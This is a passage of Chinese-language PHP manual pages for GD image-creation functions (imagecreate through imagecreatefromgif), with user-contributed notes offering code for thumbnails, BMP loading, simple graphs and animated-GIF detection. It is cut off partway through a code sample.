backglancer at hotmail 13-Dec-2004 07:10
Neat script to create a thumbnails no larger than 150 (or user-specific) height AND width.

<?PHP
$picture ="" # picture fileNAME here. not address
$max=150;    # maximum size of 1 side of the picture.
/*
here you can insert any specific "if-else",
or "switch" type of detector of what type of picture this is.
in this example i'll use standard JPG
*/

$src_img=ImagecreateFromJpeg($picture);

$oh = imagesy($src_img);  # original height
$ow = imagesx($src_img);  # original width

$new_h = $oh;
$new_w = $ow;

if($oh > $max || $ow > $max){
        $r = $oh/$ow;
        $new_h = ($oh > $ow) ? $max : $max*$r;
        $new_w = $new_h/$r;
}
// note TrueColor does 256 and not.. 8
$dst_img = ImageCreateTrueColor($new_w,$new_h);

ImageCopyResized($dst_img, $src_img, 0,0,0,0, $new_w, $new_h, ImageSX($src_img), ImageSY($src_img));

ImageJpeg($dst_img, "th_$picture");

?>
skurrilo at skurrilo dot de 28-Nov-2000 07:36
If you aren't happy with the quality of the resized images, just give ImageMagick a try. (http://www.imagemagick.org) This is a commandline tool for converting and viewing images.


创建新的基于调色板的图像

  • ? imagecopyresized
  • imagecreatefromavif ?
  • PHP Manual
  • GD 和图像处理 函数
  • 创建新的基于调色板的图像

imagecreate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreate — 创建新的基于调色板的图像

说明

imagecreate(int $width, int $height): GdImage|false

imagecreate() 返回代表指定大小的空白图像的图像标识符。

通常，建议使用 imagecreatetruecolor() 而不是
imagecreate()，以便在尽可能的最高质量图像上进行图像处理。如果要输出调色板图像，则应在使用
imagepng() 或 imagegif() 保存图像之前立即调用 imagetruecolortopalette()。

参数

width

图像宽度。

height

图像高度。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例，之前返回 resource。

示例

Example #1 创建新的 GD 图像流并输出图像。

<?php
header("Content-Type: image/png");
$im = @imagecreate(110, 20)
or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 0, 0, 0);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

以上示例的输出类似于：

示例输出：创建新的 GD 图像流并输出图像。

参见

  • imagedestroy() - 销毁图像
  • imagecreatetruecolor() - 新建真彩色图像

User Contributed Notes

marc at gutt dot it 02-Mar-2015 10:28
Based on DHKold's contribution I realized imagecreatefrombmp() to support all 1-, 4-, 8-, 16-, 24- und 32-Bit Bitmaps. Finally Fabien Ménager brought it to perfection for the project DOMPDF. Feel free to use it:
https://code.google.com/p/dompdf/source/browse/trunk/dompdf/include/functions.inc.php?spec=svn504&r=504#551
JamesM 26-Mar-2010 12:03
doesnt ruin the image but adds display to the output.
this will generate an image with a random color. if you like it you can use it because you have the RBG result too.
<?php
header("content-type:image/png");
$im = imagecreate(100, 100);
$a = sprintf('%04x',mt_rand(0, 65535));
$b = sprintf('%04x',mt_rand(0, 65535));
$c = sprintf('%04x',mt_rand(0, 65535));
$white = imagecolorallocate($im,$a,$b,$c);
imagepng($im);
imagedestroy($im);
echo "\n\n\n$a-$b-$c";
?>
sk89q 14-Mar-2008 02:14
Loads a file based on its filetype and returns false if it fails.

<?php
function imagecreatefromfile($path, $user_functions = false)
{
    $info = @getimagesize($path);

    if(!$info)
    {
        return false;
    }

    $functions = array(
        IMAGETYPE_GIF => 'imagecreatefromgif',
        IMAGETYPE_JPEG => 'imagecreatefromjpeg',
        IMAGETYPE_PNG => 'imagecreatefrompng',
        IMAGETYPE_WBMP => 'imagecreatefromwbmp',
        IMAGETYPE_XBM => 'imagecreatefromwxbm',
        );

    if($user_functions)
    {
        $functions[IMAGETYPE_BMP] = 'imagecreatefrombmp';
    }

    if(!$functions[$info[2]])
    {
        return false;
    }

    if(!function_exists($functions[$info[2]]))
    {
        return false;
    }

    return $functions[$info[2]]($path);
}
?>
scottlindh pwnd at hushmail dot com 19-Aug-2007 10:40
to install on UBUNTU do the following..

sudo apt-get install php5-gd

After installing the package I restarted the apache

sudo /etc/init.d/apache reload

goto love ubuntu...
Sohel Taslim 25-Jul-2007 12:22
It is easy and simple example to convert Text to Image with selected font.
It helps me to display Bangla text as image when users have no installed bangla font.

I hope it can help you too!

<?php
//Kip the font file together or write proper location.
makeImageF("Life in PHP.","CENTURY.TTF");

function makeImageF($text, $font="CENTURY.TTF", $W=200, $H=20, $X=0, $Y=0, $fsize=18, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

    $im = @imagecreate($W, $H)
        or die("Cannot Initialize new GD image stream");

    $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);        //RGB color background.
    $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]);            //RGB color text.

    imagettftext($im, $fsize, $X, $Y, $fsize, $text_color, $font, $text);

    header("Content-type: image/gif");
    return imagegif($im);
}

?>
help at nanomc dot com 08-Nov-2005 11:29
// A simple XY graph

<html>
<head>

 <title>XY Graph</title>

<h2>Practice XY Graph</h2>
</head>
<body>

<?php
$left = 0;
$top = 0;
$x_size = 400;
$y_size = 400;

$char_width = 8;
$char_height = 11;

$x_start = $x_left + 100;
$y_start = $top + $char_height * 1.5;
$x_end = $x_start + $x_size;
$y_end = $y_start + $y_size;
$right = $x_start + $x_size + 40;
$bottom = $y_start + $y_size + $char_height * 1.5;

$graph_n = 100;
for($i = 0; $i < $graph_n; $i++ )
    {
    $graph_x[$i] = $i;
    $graph_y[$i] = $i * $i;
    }

    $min_x = 9e99;
    $min_y = 9e99;
    $max_x = -9e99;
    $max_y = -9e99;

    $avg_y = 0.0;

    for($i = 0; $i < $graph_n; $i++ )
        {
        if( $graph_x[$i] < $min_x )
            $min_x = $graph_x[$i];

        if( $graph_x[$i] > $max_x )
            $max_x = $graph_x[$i];

        if( $graph_y[$i] < $min_y )
            $min_y = $graph_y[$i];

        if( $graph_y[$i] > $max_y )
            $max_y = $graph_y[$i];

        $avg_y += $graph_y[$i];
        }

    $avg_y = $avg_y / $graph_n;

    $min_x = 0;
    $min_y = 0;
    $max_x += $max_x * 0.05;
    $max_y += $max_y * 0.05;

$image = ImageCreate($right - $left, $bottom - $top);
$background_color = imagecolorallocate($image, 255, 255, 255);
$text_color = imagecolorallocate($image, 233, 14, 91);

$grey = ImageColorAllocate($image, 204, 204, 204);
$white = imagecolorallocate($image, 255, 255, 255);
$black = imagecolorallocate($image, 0, 0, 0);
$red = imagecolorallocate($image, 255, 0, 0);

imagerectangle($image, $left, $top, $right - 1, $bottom - 1, $black );
imagerectangle($image, $x_start, $y_start, $x_end, $y_end, $grey );

for($i = 0; $i < $graph_n; $i++ )
   {
   $pt_x = $x_start + ($x_end-$x_start)*($graph_x[$i]-$min_x)/($max_x-$min_x);
   $pt_y = $y_end - ($y_end - $y_start)*($graph_y[$i]-$min_y)/($max_y-$min_y);

 //  imagesetpixel( $image, $pt_x, $pt_y, $black );
   imagechar($image, 2, $pt_x - 3, $pt_y - 10, '.', $black);
   }

$string = sprintf("%2.5f", $max_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_start - $char_width, $string, $black);

$string = sprintf("%2.5f", $min_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_end - $char_height, $string, $black);

$string = sprintf("%2.5f", $min_x);
imagestring($image, 4, $x_start - (strlen($string) * $char_width)/2, $y_end, $string, $black);

$string = sprintf("%2.5f", $max_x);
imagestring($image, 4, $x_end - (strlen($string) * $char_width) / 2, $y_end, $string, $black);

$x_title = 'x axis';
$y_title = 'y axis';

imagestring($image, 4, $x_start + ($x_end - $x_start) / 2 - strlen($x_title) * $char_width / 2, $y_end, $x_title, $black);

imagestring($image, 4, $char_width, ($y_end - $y_start) / 2, $y_title, $black);

header('Content-type: image/png');
$filename = sprintf("%d.png", time());
ImagePNG($image,$filename);
ImageDestroy($image);

printf("<img src='%s'> ", $filename);
?>

</body>
</html>
DHKold 15-Jun-2005 02:52
to create an image from a BMP file, I made this function, that return a resource like the others ImageCreateFrom function:

<?php
/*********************************************/
/* Fonction: ImageCreateFromBMP              */
/* Author:   DHKold                          */
/* Contact:  admin@dhkold.com                */
/* Date:     The 15th of June 2005           */
/* Version:  2.0B                            */
/*********************************************/

function ImageCreateFromBMP($filename)
{
 //Ouverture du fichier en mode binaire
   if (! $f1 = fopen($filename,"rb")) return FALSE;

 //1 : Chargement des ent?tes FICHIER
   $FILE = unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset", fread($f1,14));
   if ($FILE['file_type'] != 19778) return FALSE;

 //2 : Chargement des ent?tes BMP
   $BMP = unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'.
                 '/Vcompression/Vsize_bitmap/Vhoriz_resolution'.
                 '/Vvert_resolution/Vcolors_used/Vcolors_important', fread($f1,40));
   $BMP['colors'] = pow(2,$BMP['bits_per_pixel']);
   if ($BMP['size_bitmap'] == 0) $BMP['size_bitmap'] = $FILE['file_size'] - $FILE['bitmap_offset'];
   $BMP['bytes_per_pixel'] = $BMP['bits_per_pixel']/8;
   $BMP['bytes_per_pixel2'] = ceil($BMP['bytes_per_pixel']);
   $BMP['decal'] = ($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] -= floor($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] = 4-(4*$BMP['decal']);
   if ($BMP['decal'] == 4) $BMP['decal'] = 0;

 //3 : Chargement des couleurs de la palette
   $PALETTE = array();
   if ($BMP['colors'] < 16777216)
   {
    $PALETTE = unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));
   }

 //4 : Cr?ation de l'image
   $IMG = fread($f1,$BMP['size_bitmap']);
   $VIDE = chr(0);

   $res = imagecreatetruecolor($BMP['width'],$BMP['height']);
   $P = 0;
   $Y = $BMP['height']-1;
   while ($Y >= 0)
   {
    $X=0;
    while ($X < $BMP['width'])
    {
     if ($BMP['bits_per_pixel'] == 24)
        $COLOR = unpack("V",substr($IMG,$P,3).$VIDE);
     elseif ($BMP['bits_per_pixel'] == 16)
     {
        $COLOR = unpack("n",substr($IMG,$P,2));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 8)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,$P,1));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 4)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if (($P*2)%2 == 0) $COLOR[1] = ($COLOR[1] >> 4) ; else $COLOR[1] = ($COLOR[1] & 0x0F);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 1)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if     (($P*8)%8 == 0) $COLOR[1] =  $COLOR[1]        >>7;
        elseif (($P*8)%8 == 1) $COLOR[1] = ($COLOR[1] & 0x40)>>6;
        elseif (($P*8)%8 == 2) $COLOR[1] = ($COLOR[1] & 0x20)>>5;
        elseif (($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] & 0x10)>>4;
        elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] & 0x8)>>3;
        elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1] & 0x4)>>2;
        elseif (($P*8)%8 == 6) $COLOR[1] = ($COLOR[1] & 0x2)>>1;
        elseif (($P*8)%8 == 7) $COLOR[1] = ($COLOR[1] & 0x1);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     else
        return FALSE;
     imagesetpixel($res,$X,$Y,$COLOR[1]);
     $X++;
     $P += $BMP['bytes_per_pixel'];
    }
    $Y--;
    $P+=$BMP['decal'];
   }

 //Fermeture du fichier
   fclose($f1);

 return $res;
}
?>
05-Jan-2005 01:30
This is how you can create a thumbnail with maximum height and width. This way it will fit nicely in a gallery table. In this example $im is the source image
<?
    //calculate thumb size
            $ow = imagesx($im);
            $oh = imagesy($im);
            $maxh = 100;
            $maxw = 150;
            $new_h = $oh;
            $new_w = $ow;

            if($oh > $maxh || $ow > $maxw){
               $new_h = ($oh > $ow) ? $maxh : $oh*($maxw/$ow);
               $new_w = $new_h/$oh*$ow;
            }

            //create dst image
            $dst_img = ImageCreateTrueColor($new_w,$new_h);
            //resize and copy image
            ImageCopyResized($dst_img, $im, 0,0,0,0, $new_w, $new_h, ImageSX($im), ImageSY($im));
            $function_image_new($dst_img,$galdir.$file);
?>
cstevens at gencom dot us 20-Apr-2004 04:56
Here's how I resolved the "Fatal error: Call to undefined function: imagecreate()" error using Gentoo:

1) add a USE flag for gdb in /etc/make.conf

   USE="3dnow avi [whatever else you have] gdb"

   Note: here's a list of all of the USE flags:
   http://www.gentoo.org/dyn/use-index.xml

2) unmerged mod_php

*Note* It could take awhile to "remerge" as it may need to compile several dependancies...do this during not production hours and have a backup if you absolutely cannot have downtime

   emerge -C mod_php

3) emerged mod_php

   emerge -p mod_php
    # find out if it's going to take awhile

4) edit /etc/php/apach2-php4/php.ini
     uncomment the "extension=php_gd2.dll" line

5) Restart apache2

    /etc/init.d/apache2 restart

Hope this helps!

--
Cooper Stevenson
GenCom
http://www.gencom.us
foxlovr1 at cox dot net 12-Apr-2004 04:11
You can set it up so you can write a text which is controled from the URL.

Like this...

<?php
header("Content-type: image/png");
$im = @imagecreate(128, 16) or die("Cannot Initialize new GD image stream");
$bc = imagecolorallocate($im, 0, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);
imagestring($im, 1, 4, 4,  $t, $tc);
imagepng($im);
imagedestroy($im);
?>

Then when you use the image, use this...

<img src="http://www.yourdomain.com/stuff/cool_image.php?t=Text">

This will create an image with a cyan background, and in black text it will say "Text"

EMail me at foxlovr1@cox.net or aquafox90@yahoo.com for comments/questions.
sjnorrie at hotmail dot com 03-Dec-2003 11:07
On windows.

When you get undefined function image* it means the gd library isnt being used. Check the php.ini file. Make sure the php_gd.dll isnt commented out. Restarting apache should result in the image functions working.
tassader at xmail dot cz 21-Oct-2003 08:55
It seems that imagecreate creates a grayscale image with gd2
tore at kyberheimen dot com 29-Aug-2002 02:33
GD UPGRADE PROBLEM:
I used imagecreate with gd 1.6 to make resized images of big photos. Then, when using the same script on gd 2.0, the colors got all wrong.
Using imagecreatetruecolor() fixed the problem!
php at silisoftware dot com 17-May-2002 10:17
Don't try and create an image with a really large width and/or height. First, $width x $height is (at least) the bytes of memory that need to be allocated. Secondly, if you exceed the range of int for either parameter, Apache crashes (before allocating any memory).
Don't ask how I figured this out ;)
robert at scpallas dot de 08-Feb-2002 08:09
The function ImageCreate() creates a PALETTE image.
The function ImageCreateFromJPEG() creates a TRUE COLOR image.

When you use GD 2.0 you will get an error when you try to use ImageCopy()
with one True color image and one Palette image.

Be sure to convert one of the images before using ImageCopy() or use ImageCreateTrueColor() instead of ImageCreate().
andrus at vnet dot ee 08-Jul-2001 09:09
Dont forget to use ImageDestoy after showed image. I forgot it, my webpage had about 15 pictures what was generated by GD and webserver died very fastly (server was Dual Xeon 900MHz and 4G RAM :[[ ). It died cos of not enough memory :\
wouter at rusman dot net 06-Jul-2001 05:31
to compile GD support on some linux distributions you have to include these with the ./configure command :
--with=gd=/usr --with-jpeg=/usr --with-png=/usr --with-zlib=/usr

(i had to include this on Redhat 6.1)
this becase the libraries are in /usr/lib instead of /lib
altype at bellsouth dot net 19-Apr-2001 04:13
ImagePNG($pic,"./dir/pic.png");

To save image as a file, I had to create a directory "dir" and CHMOD 777 to give read, write, and execute permission for everyone - or it wouldn't save it...
removethisbeforebayet at removethistooenseirb dot fr 08-Feb-2001 03:00
Pay attention to a problem I encountered.
Png images created with the PHP function seems to be very badly recognised by old browsers, especially -well, mainly - by IE 4.0 (crash of the browser).
I think this is probably due to the fact that, when IE 4.0 was released, the png format was either very recent, either not very used, because of the widespread jpeg and gif formats...
So, if you plan to dynamically create images for a web site to be seen by IE 4.0 users, think of it...
May'be the jpeg format will do the job better.
kim at kimmccall dot org 14-Dec-2000 04:22
How I fixed my "undefined function imagecreate()" problem:
I was having the same problem many have reported where most of PHP worked but the gd functions didn't.  I'd installed the RedHat rpm php-4.0.1pl2.  It said (phpinfo.php) that it had been configured with the '--with-gd=shared' option.  In my /usr/lib directory, I had both libgd.so.1.8.3 and libgd.a.  I decided to compile with the static library instead, so I downloaded the sources and built with all the same configuration flags except that I used --with-gd=/usr.  Now my gd library works!!!


由文件或 URL 创建一个新图象。

  • ? imagecreate
  • imagecreatefrombmp ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefromavif

(PHP 8 >= 8.1.0)

imagecreatefromavif — 由文件或 URL 创建一个新图象。

说明

imagecreatefromavif(string $filename): GdImage|false

imagecreatefromavif() returns an image object representing the image obtained from the given filename.

参数

filename

Path to the AVIF raster image.

返回值

成功后返回图象对象,失败后返回 false。

User Contributed Notes

There are no user contributed notes for this page.


由文件或 URL 创建一个新图象。

  • ? imagecreatefromavif
  • imagecreatefromgd2 ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefrombmp

(PHP 7 >= 7.2.0, PHP 8)

imagecreatefrombmp — 由文件或 URL 创建一个新图象。

说明

imagecreatefrombmp(string $filename): GdImage|false

imagecreatefrombmp() returns an image identifier representing the image obtained from the given filename.

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

Path to the BMP image.

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | On success, this function returns a GDImage instance now; previously, a resource was returned.

示例

Example #1 Convert an BMP image to a PNG image using imagecreatefrombmp()

<?php
// Load the BMP file
$im = imagecreatefrombmp('./example.bmp');

// Convert it to a PNG file with default settings
imagepng($im, './example.png');
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


从 GD2 文件或 URL 新建一图像

  • ? imagecreatefrombmp
  • imagecreatefromgd2part ?
  • PHP Manual
  • GD 和图像处理 函数
  • 从 GD2 文件或 URL 新建一图像

imagecreatefromgd2

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd2 — 从 GD2 文件或 URL 新建一图像

说明

imagecreatefromgd2(string $filename): GdImage|false

从 GD2 文件或 URL 新建一图像。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

GD2 图像的路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例，之前返回 resource。

示例

Example #1 imagecreatefromgd2() 示例

<?php
// 加载 gd2 图像
$im = imagecreatefromgd2('./test.gd2');

// 在图像上应用效果。
// 在这个例子中，反转图像颜色
if(function_exists('imagefilter'))
{
imagefilter($im, IMG_FILTER_NEGATE);
}

// 保存图像
imagegd2($im, './test_updated.gd2');
imagedestroy($im);
?>

注释

Warning

The GD and GD2 image formats are proprietary image formats of libgd. They have to be regarded obsolete, and should only be used for development and testing purposes.

User Contributed Notes

There are no user contributed notes for this page.


从指定的 GD2 文件或 URL 的部分创建新图像

  • ? imagecreatefromgd2
  • imagecreatefromgd ?
  • PHP Manual
  • GD 和图像处理 函数
  • 从指定的 GD2 文件或 URL 的部分创建新图像

imagecreatefromgd2part

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd2part — 从指定的 GD2 文件或 URL 的部分创建新图像

说明

imagecreatefromgd2part(
string $filename,
int $x,
int $y,
int $width,
int $height
): GdImage|false

从指定的 GD2 文件或 URL 的部分创建新图像。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

GD2 图像路径。

x

源点的 x 坐标。

y

源点的 y 坐标。

width

源图象的宽度。

height

源图象的高度。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例，之前返回 resource。

示例

Example #1 imagecreatefromgd2part() 示例

<?php
// For this example we need the image size before
$image = getimagesize('./test.gd2');

// Create the image instance now we got the image
// sizes
$im = imagecreatefromgd2part('./test.gd2', 4, 4, ($image[0] / 2) - 6, ($image[1] / 2) - 6);

// Do an image operation, in this case we emboss the image
if(function_exists('imagefilter'))
{
imagefilter($im, IMG_FILTER_EMBOSS);
}

// Save optimized image
imagegd2($im, './test_emboss.gd2');
imagedestroy($im);
?>

注释

Warning

The GD and GD2 image formats are proprietary image formats of libgd. They have to be regarded obsolete, and should only be used for development and testing purposes.

User Contributed Notes

There are no user contributed notes for this page.


从 GD 文件或 URL 新建一图像

  • ? imagecreatefromgd2part
  • imagecreatefromgif ?
  • PHP Manual
  • GD 和图像处理 函数
  • 从 GD 文件或 URL 新建一图像

imagecreatefromgd

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd — 从 GD 文件或 URL 新建一图像

说明

imagecreatefromgd(string $filename): GdImage|false

从 GD 文件或 URL 新建一图像。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

GD 文件的路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例，之前返回 resource。

示例

Example #1 imagecreatefromgd() 示例

<?php
// Load the gd image
$im = @imagecreatefromgd('./test.gd');

// Test if the image was loaded
if(!$im)
{
die('Unable to load gd image!');
}

// Do image operations here

// Save the image
imagegd($im, './test_updated.gd');
imagedestroy($im);
?>

注释

Warning

The GD and GD2 image formats are proprietary image formats of libgd. They have to be regarded obsolete, and should only be used for development and testing purposes.

User Contributed Notes

There are no user contributed notes for this page.


由文件或 URL 创建一个新图象。

  • ? imagecreatefromgd
  • imagecreatefromjpeg ?
  • PHP Manual
  • GD 和图像处理 函数
  • 由文件或 URL 创建一个新图象。

imagecreatefromgif

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefromgif — 由文件或 URL 创建一个新图象。

说明

imagecreatefromgif(string $filename): GdImage|false

imagecreatefromgif() 返回图像标识符，代表从指定文件名获得的图像。

Caution

当读取 GIF 文件到内存中时，图像对象仅返回第一帧。图像的大小不一定是 getimagesize() 报告的大小。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参数

filename

GIF 图像的路径。

返回值

成功后返回图象对象,失败后返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 GDImage 实例；之前返回 resource。

示例

Example #1 在加载 GIF 期间处理错误的示例

<?php
function LoadGif($imgname)
{
/* Attempt to open */
$im = @imagecreatefromgif($imgname);

/* See if it failed */
if(!$im)
{
/* Create a blank image */
$im = imagecreatetruecolor (150, 30);
$bgc = imagecolorallocate ($im, 255, 255, 255);
$tc = imagecolorallocate ($im, 0, 0, 0);

imagefilledrectangle ($im, 0, 0, 150, 30, $bgc);

/* Output an error message */
imagestring ($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
}

return $im;
}

header('Content-Type: image/gif');

$img = LoadGif('bogus.image');

imagegif($img);
imagedestroy($img);
?>

以上示例的输出类似于：

示例输出：在加载 GIF 期间处理错误的示例

User Contributed Notes

simon at shortpixel dot com 20-Dec-2017 01:38
A fix for the problem of the current is_ani function is to add the last 20b of the previous frame to the next one:

<?php
function is_ani($filename) {
  if(!($fh = @fopen($filename, 'rb')))
    return false;
  $count = 0;
  //an animated gif contains multiple "frames", with each frame having a
  //header made up of:
  // * a static 4-byte sequence (\x00\x21\xF9\x04)
  // * 4 variable bytes
  // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

  // We read through the file til we reach the end of the file, or we've found
  // at least 2 frame headers
  $chunk = false;
  while(!feof($fh) && $count < 2) {
    //add the last 20 characters from the previous string, to make sure the searched pattern is not split.
    $chunk = ($chunk ? substr($chunk, -20) : "") . fread($fh, 1024 * 100); //read 100kb at a time
    $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
  }

  fclose($fh);
  return $count > 1;
}
?>
hdogan at gmail dot com 12-Feb-2017 06:35
Just realised that some of the animated GIFs do not contain GCE (graphic control extension). Here is the refactored is_ani() function:

<?php
/**
 * Detects animated GIF from given file pointer resource or filename.
 *
 * @param resource|string $file File pointer resource or filename
 * @return bool
 */
function is_animated_gif($file)
{
    $fp = null;

    if (is_string($file)) {
        $fp = fopen($file, "rb");
    } else {
        $fp = $file;

        /* Make sure that we are at the beginning of the file */
        fseek($fp, 0);
    }

    if (fread($fp, 3) !== "GIF") {
        fclose($fp);

        return false;
    }

    $frames = 0;

    while (!feof($fp) && $frames < 2) {
        if (fread($fp, 1) === "\x00") {
            /* Some of the animated GIFs do not contain graphic control extension (starts with 21 f9) */
            if (fread($fp, 1) === "\x21" || fread($fp, 2) === "\x21\xf9") {
                $frames++;
            }
        }
    }

    fclose($fp);

    return $frames > 1;
}
marianbucur17 at yahoo dot com 07-Jul-2016 02:13
I hate created an improved version of frank at huddler dot com's is_ani function, which keeps score even between hunks. Hope this helps!

/**
 * Check if the provided file is an animated gif.
 *
 * @param string $fileName
 * @return bool
 */
function isAnimatedGif($fileName)
{
    $fh = fopen($fileName, 'rb');

    if (!$fh) {
        return false;
    }

    $totalCount = 0;
    $chunk = '';

    // An animated gif contains multiple "frames", with each frame having a header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

    // We read through the file until we reach the end of it, or we've found at least 2 frame headers.
    while (!feof($fh) && $totalCount < 2) {
        // Read 100kb at a time and append it to the remaining chunk.
        $chunk .= fread($fh, 1024 * 100);
        $count = preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
        $totalCount += $count;

        // Execute this block only if we found at least one match,
        // and if we did not reach the maximum number of matches needed.
        if ($count > 0 && $totalCount < 2) {
            // Get the last full expression match.
            $lastMatch = end($matches[0]);
            // Get the string after the last match.
            $end = strrpos($chunk, $lastMatch) + strlen($lastMatch);
            $chunk = substr($chunk, $end);
        }
    }

    fclose($fh);

    return $totalCount > 1;
}
Anonymous 06-Sep-2013 08:27
Using the following script to generate(keep) animated GIF, it fixs GD lib animation problem.
http://www.gdenhancer.com/
ZeBadger 18-Apr-2013 09:17
The version of is_ani that reads the file in 100Kb chunks is flawed as the end of frame marker might be split in between 2 chunks - so be careful.
frank at huddler dot com 16-Jun-2011 12:25
An updated is_ani based on issues reported here and elsewhere

<?php
function is_ani($filename) {
    if(!($fh = @fopen($filename, 'rb')))
        return false;
    $count = 0;
    //an animated gif contains multiple "frames", with each frame having a
    //header made up of:
    // * a static 4-byte sequence (\x00\x21\xF9\x04)
    // * 4 variable bytes
    // * a static 2-byte sequence (\x00\x2C) (some variants may use \x00\x21 ?)

    // We read through the file til we reach the end of the file, or we've found
    // at least 2 frame headers
    while(!feof($fh) && $count < 2) {
        $chunk = fread($fh, 1024 * 100); //read 100kb at a time
        $count += preg_match_all('#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s', $chunk, $matches);
   }

    fclose($fh);
    return $count > 1;
}
?>
Malcolm Murphy 14-Mar-2011 12:59
Hopefully this might save someone a headache when using functions to check for animated GIFs.

I have come across some some GIFs use the a different frame separator sequence, \x00\x21, instead of the official standard \x00\x2C. This seems to be happening with animated GIFs saved in Photoshop CS5, although I'm not quite sure if that's where the issue is originating from.

Anyway, I've been using the pattern:
"#\x00\x21\xF9\x04.{4}\x00(\x2C|\x21)#s"
which seems to cover all GIFs, hopefully without misinterpreting.

Cheers.
moxley at moxleydata dot com 09-Oct-2006 05:40
I wanted to find out if a GIF is Black & White or Color, but I didn't want to wait around for imagecreatefromgif() to parse a 200k file (about 1 second) to get the color map, so I wrote this function to get a list of all the colors in the GIF. Hope it is useful for you.

<?php
function getGIFColorMap($file)
{
   $fp = fopen($file, 'r');
   $buf = fread($fp, 1024);
   fclose($fp);

   // Calculate number of colors
   // buf[10] is the color info byte
   $color_byte = ord($buf[10]);
   $has_color_map = ($color_byte >> 7) & 1;
   $color_res = (($color_byte >> 4) & 7) + 1;
   $bits_per_pixel = ($color_byte & 7) + 1;
   $color_count = 1 << $bits_per_pixel;

   if (!$has_color_map) return null;

   // buf[13] is the beginning of the color map
   $color_map_index = 13;
   $map = array();
   for ($i=0; $i < $color_count; $i++) {
       $index = $color_map_index + $i*3;
       $r = ord($buf[$index]);
       $g = ord($buf[$index + 1]);
       $b = ord($buf[$index + 2]);
       $map[$i] = array($r, $g, $b);
   }
   return $map;
}
?>
ZeBadger 15-Dec-2005 09:15
I have written this code to detect if a gif file is animated or not.  I thought I would share it :-)

<?php

function is_ani($filename)
{
        $filecontents=file_get_contents($filename);

        $str_loc=0;
        $count=0;
        while ($count < 2) # There is no point in continuing after we find a 2nd frame
        {

                $where1=strpos($filecontents,"\x00\x21\xF9\x04",$str_loc);
                if ($where1 === FALSE)
                {
                        break;
                }
                else
                {
                        $str_loc=$where1+1;
                        $where2=strpos($filecontents,"\x00\x2C",$str_loc);
                        if ($where2 === FALSE)
                        {
